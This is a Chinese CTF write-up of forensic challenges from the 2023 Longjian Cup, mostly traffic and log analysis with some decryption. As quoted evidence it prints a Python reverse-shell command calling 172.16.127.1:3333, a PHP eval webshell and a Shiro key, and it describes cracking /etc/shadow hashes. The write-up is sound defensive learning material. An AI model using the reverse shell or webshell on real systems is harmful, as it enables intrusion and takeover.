2023 陇剑杯线下赛

admin 2024年9月28日11:52:36评论18 views字数 5419阅读18分3秒阅读模式

和同事组队“金盾检测”参加了第二届陇剑杯线下的半决赛和决赛。虽然结果是非常滴遗憾,最终差 2 名无缘优秀奖。但秉持着善始善终的理念,还是记录一下线下赛中我负责的数据分析这块的题目叭。

半决赛

soeasy

抓的是一个 FTP 传文件的流量。

登陆的密码是多少?,提交md5小写

直接追踪一手 TCP 流,第二流就是登录的内容,密码就是 test

2023 陇剑杯线下赛

被加密的字符串是多少?

第 7 流给出了 RSA 的私钥文件(保存为 rsa_d.txt)

2023 陇剑杯线下赛

第 11 流给出了加密代码

2023 陇剑杯线下赛

第 13 流给出了加密数据(原始数据视图),

2023 陇剑杯线下赛

编写解密代码

123456789101112131415161718192021
from Crypto.Util.number import *from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEPdata = bytes.fromhex('4ed9959849916f5a53206967cde72416f3ecad8767fe37f8847320cf0d2e6b3bc615d91b64650a49b9be86eb33f105ff2aa46db7350966e7733c7b24aa9f96b882aaa4de57d7fc688a2900849417594beebd8f9d25a617bc77b922bed5744699241d178e0b5e61754b49800267cf1332f19e65d9db1cfd1522be65b42065f7bcf95cef926000571bb06a304ef383e18a7728ff1ec68277bfbd451f6e7c988f67dd2a4a26787f7b471f663b2cdccf762e300a54ce14920b3fbc3bffed3ab1bbedd9ae00ebdc9a0dc339bd2e16d82c3657325ef854cc39e2a5db0f3a1731818ee5f4318afc504852e0e0d756bfc378f02246f60aa49f4e55809686542130b61662')def encrypt_message(message, public_key_path):    with open(public_key_path, 'rb') as f:        public_key = RSA.import_key(f.read())        cipher = PKCS1_OAEP.new(public_key)        encrypted_message = cipher.encrypt(message.encode())        return encrypted_messagedef decrypt_message(message, public_key_path):    with open(public_key_path, 'rb') as f:        public_key = RSA.import_key(f.read())        cipher = PKCS1_OAEP.new(public_key)        encrypted_message = cipher.decrypt(message)        return encrypted_messageprint(decrypt_message(data,"rsa_d.txt"))

得到 b'8dhn3edfna93rAPN'

图片中隐藏的数字是多少?

第 5 流有一个压缩包,保存下来

2023 陇剑杯线下赛

里头有一个 11.bmp

2023 陇剑杯线下赛

把高度给高

2023 陇剑杯线下赛

得到

2023 陇剑杯线下赛

淦,哪里是头啊,比赛试了2301040,试了3010402,,5次机会用完了也不对。赛后问了贝塔,才知道不是改高度,是改位深,把16改成24!

2023 陇剑杯线下赛

得到

2023 陇剑杯线下赛

1 和 2 叠起来了以为是 4,测!

session

抓的是一个通过注入获得管理员账号密码,后台 getshell 的一个流量记录。

通过注入得到的username是?

过滤查看 http 协议 ,发现后面是大块差不多的 http 请求,推测应该是盲注,我们直接看登录成功部分找结果

2023 陇剑杯线下赛

提交 adminadmin1I1,好,是错的,实际上注入出来的是 adminadmin111,虽然前面注入部分看不出注入者是如何判断的,但是注入者在得到正确字符后就会爆破下一个字符,因此我们可以根据 index 的变化来判定(变化的前一个字符是正确)。

除了 root 用户,还有哪个用户含有root权限?

在第2043流找到,test 的用户标识号是 0,所以它有 root 权限。

2023 陇剑杯线下赛

通过 debug 读取的哪个文件没有找到(绝对路径)

在第 2040 流找到: /etc/1

2023 陇剑杯线下赛

通过什么命令反弹的shell,提交md5小写

在第2046流里看到

2023 陇剑杯线下赛

因此就是 import os,pty,socket;s=socket.socket();s.connect(("172.16.127.1",3333));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh") 的md5值

easy_shiro

给了一个日志文件,主要看到最后三条

2023 陇剑杯线下赛

请给出该应用 shiro key

拿到这题一脸懵逼,好在队友本地有工具:BlueTeamToolsV0.58

拿这上述框框里第一条数据的 rememberMe 的内容贴进去

2023 陇剑杯线下赛

因此 shiro key 就是 4AvVhmFLUs0KTA3Kprsdag==

溯源攻击者的操作,其中有flag

拿这上述框框里第二条数据的后半部分内容

2023 陇剑杯线下赛

是一个 java class 文件,保存一下用jd gui 看看(直接用 cyberchef 保存好像会报错,这里我用 python 解码再保存的)

2023 陇剑杯线下赛

2023 陇剑杯线下赛

有一个密钥 eac9fa38330a7535,还提到了 AES,就用 AES 解密一下log 文件里最后一行的数据

2023 陇剑杯线下赛

有一个flag,提交,错误!提交给第三题,正确!(难崩)

那么第二问的东西应该是在第一条log或者第二条log搞出来的序列化传儿里。这个一直到比赛结束也没搞出来,赛后复现的时候问了贝塔

要用到工具:SerializationDumper-Shiro.jar

java -jar SerializationDumper-Shiro.jar -s "第一条log的rememberMe"

2023 陇剑杯线下赛

然后反编译 bytecodes.class

2023 陇剑杯线下赛

根据代码,将 var21 的数组内容异或 21 再拼接

12
var21 = [118, 120, 113, 59, 112, 109, 112, 53, 58, 86, 53, 55, 112, 118, 125, 122, 53, 115, 121, 116, 114, 110, 35, 113, 115, 113, 118, 38, 45, 33, 113, 35, 37, 39, 32, 119, 39, 116, 119, 44, 119, 34, 36, 112, 118, 36, 32, 44, 34, 36, 116, 116, 36, 36, 104, 55]print("".join(chr(i^21) for i in var21))

得到 cmd.exe /C "echo flag{6dfdc384d6025b2ab9b71ec15971aa11}"

攻击者植入了内存webshell,使用这个webshell做了什么,其中有flag

在解第二问的时候解出来了。

决赛

win

小明在一台电脑中获取了一个虚拟机文件以及桌面上存有rockyou.txt,打开虚拟机的密码是多少?

好,直接坐牢,没有爆破工具,一整套题都没法做,好在主办方在中午的时候给了一个只有 500 个密码的字典,最后我手撸出来了密码 somewhere,这里用工具复现一下,需要解密的文件是 Windows 7 x64.vmx

2023 陇剑杯线下赛

需要的工具是 pyvmx-cracker,但是直接用会报错,因为

2023 陇剑杯线下赛

它检查的是第三行,emmm,给他改成 3。后面读字典还会报错 UnicodeDecodeError: 'gbk' codec can't decode byte 0x85 in position 5716: illegal multibyte sequence,emmm,再改下

2023 陇剑杯线下赛

运行好一会得到:

2023 陇剑杯线下赛

xshell 链接的密码是多少?

淦,xshell 存的密码是加密的,还是要工具,赛后找到了,需要一手 [XshellCrack](Release XshellCrack 1.0 · Q16G/XshellCrack · GitHub),把这个工具放进 win7 里头(因为加密使用的参数和系统有关,所以不能把文件拖出来解密。我尝试把本机的配置文件放进去解密是失败的),直接运行就好。(没法拖,还不能安装 vmtools,想到的解决方式是用 U 盘传)

2023 陇剑杯线下赛

得到密码 123456a

登录脚本启动的程序路径是什么?

进入虚拟机后,看到这个终端上面文件的路径,就是了:c:\2333.bat

2023 陇剑杯线下赛

总过访问了几次 www.baidu.com?

打开火狐,看到历史记录,点进管理历史,视图,显示列,点上访问次数,就可以看见总共访问了 www.baidu.com 10 次。

2023 陇剑杯线下赛

mid

从哪个文件获取到的后台用户名密码?

进来过滤 http 请求,好像是在目录扫描,往后拉到登录成功的部分,然后开始往上找,找到

2023 陇剑杯线下赛

解密得到 :Username:adminadmin Password:123456aA,因此获取到登录用户名密码的文件就是 robots.txt 了。

admin的密码通过哪个函数进行加密存储,答案实例 exec()

看到第 18633 条,也就是 4.txt 的内容

2023 陇剑杯线下赛

因此加密函数为 password_hash

写入的第一次的shell的连接密码是多少?

在第18086数据中看到

2023 陇剑杯线下赛

解码后是 <?php eval($_POST[1]); ?>,因此答案就是 1

用户 hack 的密码是多少?

在 18647 数据看到,

2023 陇剑杯线下赛

是一个base64编码的命令执行,解码看一下

2023 陇剑杯线下赛

粗略看一下是一堆混淆加执行了个什么命令应该,注意到这个对结果是进行了一个 rot13 的操作。

查看下面的返回

2023 陇剑杯线下赛

应该是执行了一个 whoami叭,继续往后面的返回,在第18730的数据看到应该是 /etc/shadow 的返回

2023 陇剑杯线下赛

2023 陇剑杯线下赛

拿去用john爆破一下

2023 陇剑杯线下赛

到手:qwerty

ransom

攻击者通过后门在受害机器上安装了勒索病毒,给出勒索病毒文件的sha256(大写)(注:该文件建议在虚拟机中打开)

直接导出 http 对象,看到一个 test.exe,dump下来然后 sha256 一下就好了

2023 陇剑杯线下赛

勒索病毒对本地文件继续了加密,给出加密文件的数量

在 tcp 第 358 流找到(这一整块的流量没有 http 的请求,很奇怪,所以当时一直没找到,还是队友找到的)

2023 陇剑杯线下赛

2023 陇剑杯线下赛

解码得到的是加密文件的列表

2023 陇剑杯线下赛

最后一行是空的,因此一共 133 个文件被加密。

恢复被加密的 secret.txt 的内容

这个算是整场比赛最有成就感的一题了,全场只有 3 解。

刚好有一个逆向队友,通过分析 test.exe,勒索病毒的操作有:创建E://tmp.txt为key;遍历C:/Users/test/Documents下文件(会加密这个文件夹下的文件)

2023 陇剑杯线下赛

我们可以在第 23668 的数据包,发现其查看了 tmp.txt 的内容

2023 陇剑杯线下赛

dHlwZSBlOlxcdG1wLnR4dA== base64解码就是 type e:\\tmp.txt

下一条数据就是对应的返回,为 464ROI2+9sM+kxbMBiaBog==,base64解码再转十六进制就是 e3ae11388dbef6c33e9316cc062681a2

然后在第 23820 的数据中,其查看了 secret.txt.enc 的内容

2023 陇剑杯线下赛

下一条数据就是对应的返回,为 P4m0zim6ISDKTc8yamhuNMqrgoCR3kB9cVFvhRvMFt0rVIS4zboCsF/Q/PLV0dH0,base64解码再转十六进制就是 3f89b4ce29ba2120ca4dcf326a686e34caab828091de407d71516f851bcc16dd2b5484b8cdba02b05fd0fcf2d5d1d1f4

有了密文和密钥,根据密钥长度是 16 字节,猜测是 aes 加密,先直接使用 ecb 模式

2023 陇剑杯线下赛

解密发现有点样子,但又不太对。试一试 cbc 模式,iv 先置零。

2023 陇剑杯线下赛

虽然结果还是有点问题,但是看到最后的填充 \x06 ,可以确定就是 cbc 模式了。但是显然在使用 AES 加密前,程序还对文件进行过处理,于是让队友找了一下,发现加密前会将文件内容异或文件名。(队友在 Documents 目录下创建了一个 aaa.txt 的文件)

2023 陇剑杯线下赛

2023 陇剑杯线下赛

非常有样子了!只差一个 iv,后面队友也找到了

2023 陇剑杯线下赛

123456789
from Crypto.Util.number import *from Crypto.Cipher import AESkey = bytes.fromhex('e3ae11388dbef6c33e9316cc062681a2')c = bytes.fromhex('3f89b4ce29ba2120ca4dcf326a686e34caab828091de407d71516f851bcc16dd2b5484b8cdba02b05fd0fcf2d5d1d1f4')enc = AES.new(key=key,mode = AES.MODE_CBC,iv = b'1234567890abcdef')from pwn import xorprint(xor(enc.decrypt(c)[:-6],b"secret.txt"))

2023 陇剑杯线下赛

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日11:52:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023 陇剑杯线下赛https://cn-sec.com/archives/3093802.html

发表评论

匿名网友 填写信息